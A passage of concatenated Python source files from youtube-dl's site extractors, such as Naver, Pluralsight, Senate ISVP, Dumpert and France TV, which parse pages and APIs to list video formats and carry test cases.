            'description': '합격불변의 법칙 메가스터디 | 메가스터디 수학 김상희 선생님이 9월 모의고사 수학A형 16번에서 20번까지 해설강의를 공개합니다.',
            'upload_date': '20130903',
        },
    }, {
        'url': 'http://tvcast.naver.com/v/395837',
        'md5': '638ed4c12012c458fefcddfd01f173cd',
        'info_dict': {
            'id': '395837',
            'ext': 'mp4',
            'title': '9년이 지나도 아픈 기억, 전효성의 아버지',
            'description': 'md5:5bf200dcbf4b66eb1b350d1eb9c753f7',
            'upload_date': '20150519',
        },
        'skip': 'Georestricted',
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        m_id = re.search(r'var rmcPlayer = new nhn.rmcnmv.RMCVideoPlayer\("(.+?)", "(.+?)"',
                         webpage)
        if m_id is None:
            error = self._html_search_regex(
                r'(?s)<div class="(?:nation_error|nation_box|error_box)">\s*(?:<!--.*?-->)?\s*<p class="[^"]+">(?P<msg>.+?)</p>\s*</div>',
                webpage, 'error', default=None)
            if error:
                raise ExtractorError(error, expected=True)
            raise ExtractorError('couldn\'t extract vid and key')
        video_data = self._download_json(
            'http://play.rmcnmv.naver.com/vod/play/v2.0/' + m_id.group(1),
            video_id, query={
                'key': m_id.group(2),
            })
        meta = video_data['meta']
        title = meta['subject']
        formats = []

        def extract_formats(streams, stream_type, query={}):
            for stream in streams:
                stream_url = stream.get('source')
                if not stream_url:
                    continue
                stream_url = update_url_query(stream_url, query)
                encoding_option = stream.get('encodingOption', {})
                bitrate = stream.get('bitrate', {})
                formats.append({
                    'format_id': '%s_%s' % (stream.get('type') or stream_type, encoding_option.get('id') or encoding_option.get('name')),
                    'url': stream_url,
                    'width': int_or_none(encoding_option.get('width')),
                    'height': int_or_none(encoding_option.get('height')),
                    'vbr': int_or_none(bitrate.get('video')),
                    'abr': int_or_none(bitrate.get('audio')),
                    'filesize': int_or_none(stream.get('size')),
                    'protocol': 'm3u8_native' if stream_type == 'HLS' else None,
                })

        extract_formats(video_data.get('videos', {}).get('list', []), 'H264')
        for stream_set in video_data.get('streams', []):
            query = {}
            for param in stream_set.get('keys', []):
                query[param['name']] = param['value']
            stream_type = stream_set.get('type')
            videos = stream_set.get('videos')
            if videos:
                extract_formats(videos, stream_type, query)
            elif stream_type == 'HLS':
                stream_url = stream_set.get('source')
                if not stream_url:
                    continue
                formats.extend(self._extract_m3u8_formats(
                    update_url_query(stream_url, query), video_id,
                    'mp4', 'm3u8_native', m3u8_id=stream_type, fatal=False))
        self._sort_formats(formats)

        subtitles = {}
        for caption in video_data.get('captions', {}).get('list', []):
            caption_url = caption.get('source')
            if not caption_url:
                continue
            subtitles.setdefault(caption.get('language') or caption.get('locale'), []).append({
                'url': caption_url,
            })

        upload_date = self._search_regex(
            r'<span[^>]+class="date".*?(\d{4}\.\d{2}\.\d{2})',
            webpage, 'upload date', fatal=False)
        if upload_date:
            upload_date = upload_date.replace('.', '')

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'subtitles': subtitles,
            'description': self._og_search_description(webpage),
            'thumbnail': meta.get('cover', {}).get('source') or self._og_search_thumbnail(webpage),
            'view_count': int_or_none(meta.get('count')),
            'upload_date': upload_date,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    float_or_none,
    parse_iso8601,
)


class ClypIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?clyp\.it/(?P<id>[a-z0-9]+)'
    _TEST = {
        'url': 'https://clyp.it/ojz2wfah',
        'md5': '1d4961036c41247ecfdcc439c0cddcbb',
        'info_dict': {
            'id': 'ojz2wfah',
            'ext': 'mp3',
            'title': 'Krisson80 - bits wip wip',
            'description': '#Krisson80BitsWipWip #chiptune\n#wip',
            'duration': 263.21,
            'timestamp': 1443515251,
            'upload_date': '20150929',
        },
    }

    def _real_extract(self, url):
        audio_id = self._match_id(url)

        metadata = self._download_json(
            'https://api.clyp.it/%s' % audio_id, audio_id)

        formats = []
        for secure in ('', 'Secure'):
            for ext in ('Ogg', 'Mp3'):
                format_id = '%s%s' % (secure, ext)
                format_url = metadata.get('%sUrl' % format_id)
                if format_url:
                    formats.append({
                        'url': format_url,
                        'format_id': format_id,
                        'vcodec': 'none',
                    })
        self._sort_formats(formats)

        title = metadata['Title']
        description = metadata.get('Description')
        duration = float_or_none(metadata.get('Duration'))
        timestamp = parse_iso8601(metadata.get('DateCreated'))

        return {
            'id': audio_id,
            'title': title,
            'description': description,
            'duration': duration,
            'timestamp': timestamp,
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor


class MyVidsterIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?myvidster\.com/video/(?P<id>\d+)/'

    _TEST = {
        'url': 'http://www.myvidster.com/video/32059805/Hot_chemistry_with_raw_love_making',
        'md5': '95296d0231c1363222c3441af62dc4ca',
        'info_dict': {
            'id': '3685814',
            'title': 'md5:7d8427d6d02c4fbcef50fe269980c749',
            'upload_date': '20141027',
            'uploader_id': 'utkualp',
            'ext': 'mp4',
            'age_limit': 18,
        },
        'add_ie': ['XHamster'],
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        return self.url_result(self._html_search_regex(
            r'rel="videolink" href="(?P<real_url>.*)">',
            webpage, 'real video url'))






from __future__ import unicode_literals

import re
import json
import random
import collections

from .common import InfoExtractor
from ..compat import (
    compat_str,
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    int_or_none,
    parse_duration,
    qualities,
    sanitized_Request,
    urlencode_postdata,
)


class PluralsightBaseIE(InfoExtractor):
    _API_BASE = 'http://app.pluralsight.com'


class PluralsightIE(PluralsightBaseIE):
    IE_NAME = 'pluralsight'
    _VALID_URL = r'https?://(?:(?:www|app)\.)?pluralsight\.com/training/player\?'
    _LOGIN_URL = 'https://app.pluralsight.com/id/'

    _NETRC_MACHINE = 'pluralsight'

    _TESTS = [{
        'url': 'http://www.pluralsight.com/training/player?author=mike-mckeown&name=hosting-sql-server-windows-azure-iaas-m7-mgmt&mode=live&clip=3&course=hosting-sql-server-windows-azure-iaas',
        'md5': '4d458cf5cf4c593788672419a8dd4cf8',
        'info_dict': {
            'id': 'hosting-sql-server-windows-azure-iaas-m7-mgmt-04',
            'ext': 'mp4',
            'title': 'Management of SQL Server - Demo Monitoring',
            'duration': 338,
        },
        'skip': 'Requires pluralsight account credentials',
    }, {
        'url': 'https://app.pluralsight.com/training/player?course=angularjs-get-started&author=scott-allen&name=angularjs-get-started-m1-introduction&clip=0&mode=live',
        'only_matching': True,
    }, {
        # available without pluralsight account
        'url': 'http://app.pluralsight.com/training/player?author=scott-allen&name=angularjs-get-started-m1-introduction&mode=live&clip=0&course=angularjs-get-started',
        'only_matching': True,
    }]

    def _real_initialize(self):
        self._login()

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return

        login_page = self._download_webpage(
            self._LOGIN_URL, None, 'Downloading login page')

        login_form = self._hidden_inputs(login_page)

        login_form.update({
            'Username': username,
            'Password': password,
        })

        post_url = self._search_regex(
            r'<form[^>]+action=(["\'])(?P<url>.+?)\1', login_page,
            'post url', default=self._LOGIN_URL, group='url')

        if not post_url.startswith('http'):
            post_url = compat_urlparse.urljoin(self._LOGIN_URL, post_url)

        request = sanitized_Request(
            post_url, urlencode_postdata(login_form))
        request.add_header('Content-Type', 'application/x-www-form-urlencoded')

        response = self._download_webpage(
            request, None, 'Logging in as %s' % username)

        error = self._search_regex(
            r'<span[^>]+class="field-validation-error"[^>]*>([^<]+)</span>',
            response, 'error message', default=None)
        if error:
            raise ExtractorError('Unable to login: %s' % error, expected=True)

        if all(p not in response for p in ('__INITIAL_STATE__', '"currentUser"')):
            raise ExtractorError('Unable to log in')

    def _real_extract(self, url):
        qs = compat_urlparse.parse_qs(compat_urlparse.urlparse(url).query)

        author = qs.get('author', [None])[0]
        name = qs.get('name', [None])[0]
        clip_id = qs.get('clip', [None])[0]
        course = qs.get('course', [None])[0]

        if any(not f for f in (author, name, clip_id, course,)):
            raise ExtractorError('Invalid URL', expected=True)

        display_id = '%s-%s' % (name, clip_id)

        webpage = self._download_webpage(url, display_id)

        modules = self._search_regex(
            r'moduleCollection\s*:\s*new\s+ModuleCollection\((\[.+?\])\s*,\s*\$rootScope\)',
            webpage, 'modules', default=None)

        if modules:
            collection = self._parse_json(modules, display_id)
        else:
            # Webpage may be served in different layout (see
            # https://github.com/rg3/youtube-dl/issues/7607)
            collection = self._parse_json(
                self._search_regex(
                    r'var\s+initialState\s*=\s*({.+?});\n', webpage, 'initial state'),
                display_id)['course']['modules']

        module, clip = None, None

        for module_ in collection:
            if name in (module_.get('moduleName'), module_.get('name')):
                module = module_
                for clip_ in module_.get('clips', []):
                    clip_index = clip_.get('clipIndex')
                    if clip_index is None:
                        clip_index = clip_.get('index')
                    if clip_index is None:
                        continue
                    if compat_str(clip_index) == clip_id:
                        clip = clip_
                        break

        if not clip:
            raise ExtractorError('Unable to resolve clip')

        QUALITIES = {
            'low': {'width': 640, 'height': 480},
            'medium': {'width': 848, 'height': 640},
            'high': {'width': 1024, 'height': 768},
            'high-widescreen': {'width': 1280, 'height': 720},
        }

        QUALITIES_PREFERENCE = ('low', 'medium', 'high', 'high-widescreen',)
        quality_key = qualities(QUALITIES_PREFERENCE)

        AllowedQuality = collections.namedtuple('AllowedQuality', ['ext', 'qualities'])

        ALLOWED_QUALITIES = (
            AllowedQuality('webm', ['high', ]),
            AllowedQuality('mp4', ['low', 'medium', 'high', ]),
        )

        # Some courses also offer widescreen resolution for high quality (see
        # https://github.com/rg3/youtube-dl/issues/7766)
        widescreen = True if re.search(
            r'courseSupportsWidescreenVideoFormats\s*:\s*true', webpage) else False
        best_quality = 'high-widescreen' if widescreen else 'high'
        if widescreen:
            for allowed_quality in ALLOWED_QUALITIES:
                allowed_quality.qualities.append(best_quality)

        # In order to minimize the number of calls to ViewClip API and reduce
        # the probability of being throttled or banned by Pluralsight we will request
        # only single format until formats listing was explicitly requested.
        if self._downloader.params.get('listformats', False):
            allowed_qualities = ALLOWED_QUALITIES
        else:
            def guess_allowed_qualities():
                req_format = self._downloader.params.get('format') or 'best'
                req_format_split = req_format.split('-', 1)
                if len(req_format_split) > 1:
                    req_ext, req_quality = req_format_split
                    for allowed_quality in ALLOWED_QUALITIES:
                        if req_ext == allowed_quality.ext and req_quality in allowed_quality.qualities:
                            return (AllowedQuality(req_ext, (req_quality, )), )
                req_ext = 'webm' if self._downloader.params.get('prefer_free_formats') else 'mp4'
                return (AllowedQuality(req_ext, (best_quality, )), )
            allowed_qualities = guess_allowed_qualities()

        formats = []
        for ext, qualities_ in allowed_qualities:
            for quality in qualities_:
                f = QUALITIES[quality].copy()
                clip_post = {
                    'a': author,
                    'cap': 'false',
                    'cn': clip_id,
                    'course': course,
                    'lc': 'en',
                    'm': name,
                    'mt': ext,
                    'q': '%dx%d' % (f['width'], f['height']),
                }
                request = sanitized_Request(
                    '%s/training/Player/ViewClip' % self._API_BASE,
                    json.dumps(clip_post).encode('utf-8'))
                request.add_header('Content-Type', 'application/json;charset=utf-8')
                format_id = '%s-%s' % (ext, quality)
                clip_url = self._download_webpage(
                    request, display_id, 'Downloading %s URL' % format_id, fatal=False)

                # Pluralsight tracks multiple sequential calls to ViewClip API and start
                # to return 429 HTTP errors after some time (see
                # https://github.com/rg3/youtube-dl/pull/6989). Moreover it may even lead
                # to account ban (see https://github.com/rg3/youtube-dl/issues/6842).
                # To somewhat reduce the probability of these consequences
                # we will sleep random amount of time before each call to ViewClip.
                self._sleep(
                    random.randint(2, 5), display_id,
                    '%(video_id)s: Waiting for %(timeout)s seconds to avoid throttling')

                if not clip_url:
                    continue
                f.update({
                    'url': clip_url,
                    'ext': ext,
                    'format_id': format_id,
                    'quality': quality_key(quality),
                })
                formats.append(f)
        self._sort_formats(formats)

        # TODO: captions
        # http://www.pluralsight.com/training/Player/ViewClip + cap = true
        # or
        # http://www.pluralsight.com/training/Player/Captions
        # { a = author, cn = clip_id, lc = end, m = name }

        return {
            'id': clip.get('clipName') or clip['name'],
            'title': '%s - %s' % (module['title'], clip['title']),
            'duration': int_or_none(clip.get('duration')) or parse_duration(clip.get('formattedDuration')),
            'creator': author,
            'formats': formats
        }


class PluralsightCourseIE(PluralsightBaseIE):
    IE_NAME = 'pluralsight:course'
    _VALID_URL = r'https?://(?:(?:www|app)\.)?pluralsight\.com/(?:library/)?courses/(?P<id>[^/]+)'
    _TESTS = [{
        # Free course from Pluralsight Starter Subscription for Microsoft TechNet
        # https://offers.pluralsight.com/technet?loc=zTS3z&prod=zOTprodz&tech=zOttechz&prog=zOTprogz&type=zSOz&media=zOTmediaz&country=zUSz
        'url': 'http://www.pluralsight.com/courses/hosting-sql-server-windows-azure-iaas',
        'info_dict': {
            'id': 'hosting-sql-server-windows-azure-iaas',
            'title': 'Hosting SQL Server in Microsoft Azure IaaS Fundamentals',
            'description': 'md5:61b37e60f21c4b2f91dc621a977d0986',
        },
        'playlist_count': 31,
    }, {
        # available without pluralsight account
        'url': 'https://www.pluralsight.com/courses/angularjs-get-started',
        'only_matching': True,
    }, {
        'url': 'https://app.pluralsight.com/library/courses/understanding-microsoft-azure-amazon-aws/table-of-contents',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        course_id = self._match_id(url)

        # TODO: PSM cookie

        course = self._download_json(
            '%s/data/course/%s' % (self._API_BASE, course_id),
            course_id, 'Downloading course JSON')

        title = course['title']
        description = course.get('description') or course.get('shortDescription')

        course_data = self._download_json(
            '%s/data/course/content/%s' % (self._API_BASE, course_id),
            course_id, 'Downloading course data JSON')

        entries = []
        for num, module in enumerate(course_data, 1):
            for clip in module.get('clips', []):
                player_parameters = clip.get('playerParameters')
                if not player_parameters:
                    continue
                entries.append({
                    '_type': 'url_transparent',
                    'url': '%s/training/player?%s' % (self._API_BASE, player_parameters),
                    'ie_key': PluralsightIE.ie_key(),
                    'chapter': module.get('title'),
                    'chapter_number': num,
                    'chapter_id': module.get('moduleRef'),
                })

        return self.playlist_result(entries, course_id, title, description)






from __future__ import unicode_literals

from .common import InfoExtractor


class LemondeIE(InfoExtractor):
    _VALID_URL = r'https?://(?:.+?\.)?lemonde\.fr/(?:[^/]+/)*(?P<id>[^/]+)\.html'
    _TESTS = [{
        'url': 'http://www.lemonde.fr/police-justice/video/2016/01/19/comprendre-l-affaire-bygmalion-en-cinq-minutes_4849702_1653578.html',
        'md5': '01fb3c92de4c12c573343d63e163d302',
        'info_dict': {
            'id': 'lqm3kl',
            'ext': 'mp4',
            'title': "Comprendre l'affaire Bygmalion en 5 minutes",
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 320,
            'upload_date': '20160119',
            'timestamp': 1453194778,
            'uploader_id': '3pmkp',
        },
    }, {
        'url': 'http://redaction.actu.lemonde.fr/societe/video/2016/01/18/calais-debut-des-travaux-de-defrichement-dans-la-jungle_4849233_3224.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        digiteka_url = self._proto_relative_url(self._search_regex(
            r'url\s*:\s*(["\'])(?P<url>(?:https?://)?//(?:www\.)?(?:digiteka\.net|ultimedia\.com)/deliver/.+?)\1',
            webpage, 'digiteka url', group='url'))
        return self.url_result(digiteka_url, 'Digiteka')






# -*- coding: utf-8 -*-

from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import parse_duration


class RadioBremenIE(InfoExtractor):
    _VALID_URL = r'http?://(?:www\.)?radiobremen\.de/mediathek/(?:index\.html)?\?id=(?P<id>[0-9]+)'
    IE_NAME = 'radiobremen'

    _TEST = {
        'url': 'http://www.radiobremen.de/mediathek/?id=141876',
        'info_dict': {
            'id': '141876',
            'ext': 'mp4',
            'duration': 178,
            'width': 512,
            'title': 'Druck auf Patrick Öztürk',
            'thumbnail': 're:https?://.*\.jpg$',
            'description': 'Gegen den SPD-Bürgerschaftsabgeordneten Patrick Öztürk wird wegen Beihilfe zum gewerbsmäßigen Betrug ermittelt. Am Donnerstagabend sollte er dem Vorstand des SPD-Unterbezirks Bremerhaven dazu Rede und Antwort stehen.',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        meta_url = 'http://www.radiobremen.de/apps/php/mediathek/metadaten.php?id=%s' % video_id
        meta_doc = self._download_webpage(
            meta_url, video_id, 'Downloading metadata')
        title = self._html_search_regex(
            r'<h1.*>(?P<title>.+)</h1>', meta_doc, 'title')
        description = self._html_search_regex(
            r'<p>(?P<description>.*)</p>', meta_doc, 'description', fatal=False)
        duration = parse_duration(self._html_search_regex(
            r'L&auml;nge:</td>\s+<td>(?P<duration>[0-9]+:[0-9]+)</td>',
            meta_doc, 'duration', fatal=False))

        page_doc = self._download_webpage(
            url, video_id, 'Downloading video information')
        mobj = re.search(
            r"ardformatplayerclassic\(\'playerbereich\',\'(?P<width>[0-9]+)\',\'.*\',\'(?P<video_id>[0-9]+)\',\'(?P<secret>[0-9]+)\',\'(?P<thumbnail>.+)\',\'\'\)",
            page_doc)
        video_url = (
            "http://dl-ondemand.radiobremen.de/mediabase/%s/%s_%s_%s.mp4" %
            (video_id, video_id, mobj.group("secret"), mobj.group('width')))

        formats = [{
            'url': video_url,
            'ext': 'mp4',
            'width': int(mobj.group('width')),
        }]
        return {
            'id': video_id,
            'title': title,
            'description': description,
            'duration': duration,
            'formats': formats,
            'thumbnail': mobj.group('thumbnail'),
        }






# coding: utf-8
from __future__ import unicode_literals

import re
from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    unsmuggle_url,
)
from ..compat import (
    compat_parse_qs,
    compat_urlparse,
)


class SenateISVPIE(InfoExtractor):
    _COMM_MAP = [
        ['ag', '76440', 'http://ag-f.akamaihd.net'],
        ['aging', '76442', 'http://aging-f.akamaihd.net'],
        ['approps', '76441', 'http://approps-f.akamaihd.net'],
        ['armed', '76445', 'http://armed-f.akamaihd.net'],
        ['banking', '76446', 'http://banking-f.akamaihd.net'],
        ['budget', '76447', 'http://budget-f.akamaihd.net'],
        ['cecc', '76486', 'http://srs-f.akamaihd.net'],
        ['commerce', '80177', 'http://commerce1-f.akamaihd.net'],
        ['csce', '75229', 'http://srs-f.akamaihd.net'],
        ['dpc', '76590', 'http://dpc-f.akamaihd.net'],
        ['energy', '76448', 'http://energy-f.akamaihd.net'],
        ['epw', '76478', 'http://epw-f.akamaihd.net'],
        ['ethics', '76449', 'http://ethics-f.akamaihd.net'],
        ['finance', '76450', 'http://finance-f.akamaihd.net'],
        ['foreign', '76451', 'http://foreign-f.akamaihd.net'],
        ['govtaff', '76453', 'http://govtaff-f.akamaihd.net'],
        ['help', '76452', 'http://help-f.akamaihd.net'],
        ['indian', '76455', 'http://indian-f.akamaihd.net'],
        ['intel', '76456', 'http://intel-f.akamaihd.net'],
        ['intlnarc', '76457', 'http://intlnarc-f.akamaihd.net'],
        ['jccic', '85180', 'http://jccic-f.akamaihd.net'],
        ['jec', '76458', 'http://jec-f.akamaihd.net'],
        ['judiciary', '76459', 'http://judiciary-f.akamaihd.net'],
        ['rpc', '76591', 'http://rpc-f.akamaihd.net'],
        ['rules', '76460', 'http://rules-f.akamaihd.net'],
        ['saa', '76489', 'http://srs-f.akamaihd.net'],
        ['smbiz', '76461', 'http://smbiz-f.akamaihd.net'],
        ['srs', '75229', 'http://srs-f.akamaihd.net'],
        ['uscc', '76487', 'http://srs-f.akamaihd.net'],
        ['vetaff', '76462', 'http://vetaff-f.akamaihd.net'],
        ['arch', '', 'http://ussenate-f.akamaihd.net/']
    ]
    _IE_NAME = 'senate.gov'
    _VALID_URL = r'https?://www\.senate\.gov/isvp/?\?(?P<qs>.+)'
    _TESTS = [{
        'url': 'http://www.senate.gov/isvp/?comm=judiciary&type=live&stt=&filename=judiciary031715&auto_play=false&wmode=transparent&poster=http%3A%2F%2Fwww.judiciary.senate.gov%2Fthemes%2Fjudiciary%2Fimages%2Fvideo-poster-flash-fit.png',
        'info_dict': {
            'id': 'judiciary031715',
            'ext': 'mp4',
            'title': 'Integrated Senate Video Player',
            'thumbnail': 're:^https?://.*\.(?:jpg|png)$',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.senate.gov/isvp/?type=live&comm=commerce&filename=commerce011514.mp4&auto_play=false',
        'info_dict': {
            'id': 'commerce011514',
            'ext': 'mp4',
            'title': 'Integrated Senate Video Player'
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.senate.gov/isvp/?type=arch&comm=intel&filename=intel090613&hc_location=ufi',
        # checksum differs each time
        'info_dict': {
            'id': 'intel090613',
            'ext': 'mp4',
            'title': 'Integrated Senate Video Player'
        }
    }, {
        # From http://www.c-span.org/video/?96791-1
        'url': 'http://www.senate.gov/isvp?type=live&comm=banking&filename=banking012715',
        'only_matching': True,
    }]

    @staticmethod
    def _search_iframe_url(webpage):
        mobj = re.search(
            r"<iframe[^>]+src=['\"](?P<url>http://www\.senate\.gov/isvp/?\?[^'\"]+)['\"]",
            webpage)
        if mobj:
            return mobj.group('url')

    def _get_info_for_comm(self, committee):
        for entry in self._COMM_MAP:
            if entry[0] == committee:
                return entry[1:]

    def _real_extract(self, url):
        url, smuggled_data = unsmuggle_url(url, {})

        qs = compat_parse_qs(re.match(self._VALID_URL, url).group('qs'))
        if not qs.get('filename') or not qs.get('type') or not qs.get('comm'):
            raise ExtractorError('Invalid URL', expected=True)

        video_id = re.sub(r'.mp4$', '', qs['filename'][0])

        webpage = self._download_webpage(url, video_id)

        if smuggled_data.get('force_title'):
            title = smuggled_data['force_title']
        else:
            title = self._html_search_regex(r'<title>([^<]+)</title>', webpage, video_id)
        poster = qs.get('poster')
        thumbnail = poster[0] if poster else None

        video_type = qs['type'][0]
        committee = video_type if video_type == 'arch' else qs['comm'][0]
        stream_num, domain = self._get_info_for_comm(committee)

        formats = []
        if video_type == 'arch':
            filename = video_id if '.' in video_id else video_id + '.mp4'
            formats = [{
                # All parameters in the query string are necessary to prevent a 403 error
                'url': compat_urlparse.urljoin(domain, filename) + '?v=3.1.0&fp=&r=&g=',
            }]
        else:
            hdcore_sign = 'hdcore=3.1.0'
            url_params = (domain, video_id, stream_num)
            f4m_url = '%s/z/%s_1@%s/manifest.f4m?' % url_params + hdcore_sign
            m3u8_url = '%s/i/%s_1@%s/master.m3u8' % url_params
            for entry in self._extract_f4m_formats(f4m_url, video_id, f4m_id='f4m'):
                # URLs without the extra param induce an 404 error
                entry.update({'extra_param_to_segment_url': hdcore_sign})
                formats.append(entry)
            for entry in self._extract_m3u8_formats(m3u8_url, video_id, ext='mp4', m3u8_id='m3u8'):
                mobj = re.search(r'(?P<tag>(?:-p|-b)).m3u8', entry['url'])
                if mobj:
                    entry['format_id'] += mobj.group('tag')
                formats.append(entry)

            self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

import base64
import re

from .common import InfoExtractor
from ..utils import (
    qualities,
    sanitized_Request,
)


class DumpertIE(InfoExtractor):
    _VALID_URL = r'(?P<protocol>https?)://(?:www\.)?dumpert\.nl/(?:mediabase|embed)/(?P<id>[0-9]+/[0-9a-zA-Z]+)'
    _TESTS = [{
        'url': 'http://www.dumpert.nl/mediabase/6646981/951bc60f/',
        'md5': '1b9318d7d5054e7dcb9dc7654f21d643',
        'info_dict': {
            'id': '6646981/951bc60f',
            'ext': 'mp4',
            'title': 'Ik heb nieuws voor je',
            'description': 'Niet schrikken hoor',
            'thumbnail': 're:^https?://.*\.jpg$',
        }
    }, {
        'url': 'http://www.dumpert.nl/embed/6675421/dc440fe7/',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        protocol = mobj.group('protocol')

        url = '%s://www.dumpert.nl/mediabase/%s' % (protocol, video_id)
        req = sanitized_Request(url)
        req.add_header('Cookie', 'nsfw=1; cpc=10')
        webpage = self._download_webpage(req, video_id)

        files_base64 = self._search_regex(
            r'data-files="([^"]+)"', webpage, 'data files')

        files = self._parse_json(
            base64.b64decode(files_base64.encode('utf-8')).decode('utf-8'),
            video_id)

        quality = qualities(['flv', 'mobile', 'tablet', '720p'])

        formats = [{
            'url': video_url,
            'format_id': format_id,
            'quality': quality(format_id),
        } for format_id, video_url in files.items() if format_id != 'still']
        self._sort_formats(formats)

        title = self._html_search_meta(
            'title', webpage) or self._og_search_title(webpage)
        description = self._html_search_meta(
            'description', webpage) or self._og_search_description(webpage)
        thumbnail = files.get('still') or self._og_search_thumbnail(webpage)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'formats': formats
        }






from __future__ import unicode_literals

from .common import InfoExtractor


class FiveMinIE(InfoExtractor):
    IE_NAME = '5min'
    _VALID_URL = r'(?:5min:|https?://(?:[^/]*?5min\.com/|delivery\.vidible\.tv/aol)(?:(?:Scripts/PlayerSeed\.js|playerseed/?)?\?.*?playList=)?)(?P<id>\d+)'

    _TESTS = [
        {
            # From http://www.engadget.com/2013/11/15/ipad-mini-retina-display-review/
            'url': 'http://pshared.5min.com/Scripts/PlayerSeed.js?sid=281&width=560&height=345&playList=518013791',
            'md5': '4f7b0b79bf1a470e5004f7112385941d',
            'info_dict': {
                'id': '518013791',
                'ext': 'mp4',
                'title': 'iPad Mini with Retina Display Review',
                'description': 'iPad mini with Retina Display review',
                'duration': 177,
                'uploader': 'engadget',
                'upload_date': '20131115',
                'timestamp': 1384515288,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            }
        },
        {
            # From http://on.aol.com/video/how-to-make-a-next-level-fruit-salad-518086247
            'url': '5min:518086247',
            'md5': 'e539a9dd682c288ef5a498898009f69e',
            'info_dict': {
                'id': '518086247',
                'ext': 'mp4',
                'title': 'How to Make a Next-Level Fruit Salad',
                'duration': 184,
            },
            'skip': 'no longer available',
        },
        {
            'url': 'http://embed.5min.com/518726732/',
            'only_matching': True,
        },
        {
            'url': 'http://delivery.vidible.tv/aol?playList=518013791',
            'only_matching': True,
        }
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        return self.url_result('aol-video:%s' % video_id)






from __future__ import unicode_literals

from .mtv import MTVServicesInfoExtractor


class SpikeIE(MTVServicesInfoExtractor):
    _VALID_URL = r'https?://(?:[^/]+\.)?spike\.com/[^/]+/[\da-z]{6}(?:[/?#&]|$)'
    _TESTS = [{
        'url': 'http://www.spike.com/video-clips/lhtu8m/auction-hunters-can-allen-ride-a-hundred-year-old-motorcycle',
        'md5': '1a9265f32b0c375793d6c4ce45255256',
        'info_dict': {
            'id': 'b9c8221a-4e50-479a-b86d-3333323e38ba',
            'ext': 'mp4',
            'title': 'Auction Hunters|December 27, 2013|4|414|Can Allen Ride A Hundred Year-Old Motorcycle?',
            'description': 'md5:fbed7e82ed5fad493615b3094a9499cb',
            'timestamp': 1388120400,
            'upload_date': '20131227',
        },
    }, {
        'url': 'http://www.spike.com/video-clips/lhtu8m/',
        'only_matching': True,
    }, {
        'url': 'http://www.spike.com/video-clips/lhtu8m',
        'only_matching': True,
    }, {
        'url': 'http://bellator.spike.com/fight/atwr7k/bellator-158-michael-page-vs-evangelista-cyborg',
        'only_matching': True,
    }, {
        'url': 'http://bellator.spike.com/video-clips/bw6k7n/bellator-158-foundations-michael-venom-page',
        'only_matching': True,
    }]

    _FEED_URL = 'http://www.spike.com/feeds/mrss/'
    _MOBILE_TEMPLATE = 'http://m.spike.com/videos/video.rbml?id=%s'






# encoding: utf-8

from __future__ import unicode_literals

import re
import json

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    clean_html,
    ExtractorError,
    int_or_none,
    parse_duration,
    determine_ext,
)
from .dailymotion import (
    DailymotionIE,
    DailymotionCloudIE,
)


class FranceTVBaseInfoExtractor(InfoExtractor):
    def _extract_video(self, video_id, catalogue):
        info = self._download_json(
            'http://webservices.francetelevisions.fr/tools/getInfosOeuvre/v2/?idDiffusion=%s&catalogue=%s'
            % (video_id, catalogue),
            video_id, 'Downloading video JSON')

        if info.get('status') == 'NOK':
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, info['message']), expected=True)
        allowed_countries = info['videos'][0].get('geoblocage')
        if allowed_countries:
            georestricted = True
            geo_info = self._download_json(
                'http://geo.francetv.fr/ws/edgescape.json', video_id,
                'Downloading geo restriction info')
            country = geo_info['reponse']['geo_info']['country_code']
            if country not in allowed_countries:
                raise ExtractorError(
                    'The video is not available from your location',
                    expected=True)
        else:
            georestricted = False

        formats = []
        for video in info['videos']:
            if video['statut'] != 'ONLINE':
                continue
            video_url = video['url']
            if not video_url:
                continue
            format_id = video['format']
            ext = determine_ext(video_url)
            if ext == 'f4m':
                if georestricted:
                    # See https://github.com/rg3/youtube-dl/issues/3963
                    # m3u8 urls work fine
                    continue
                f4m_url = self._download_webpage(
                    'http://hdfauth.francetv.fr/esi/TA?url=%s' % video_url,
                    video_id, 'Downloading f4m manifest token', fatal=False)
                if f4m_url:
                    formats.extend(self._extract_f4m_formats(
                        f4m_url + '&hdcore=3.7.0&plugin=aasp-3.7.0.39.44',
                        video_id, f4m_id=format_id, fatal=False))
            elif ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    video_url, video_id, 'mp4', entry_protocol='m3u8_native',
                    m3u8_id=format_id, fatal=False))
            elif video_url.startswith('rtmp'):
                formats.append({
                    'url': video_url,
                    'format_id': 'rtmp-%s' % format_id,
                    'ext': 'flv',
                })
            else:
                if self._is_valid_url(video_url, video_id, format_id):
                    formats.append({
                        'url': video_url,
                        'format_id': format_id,
                    })
        self._sort_formats(formats)

        title = info['titre']
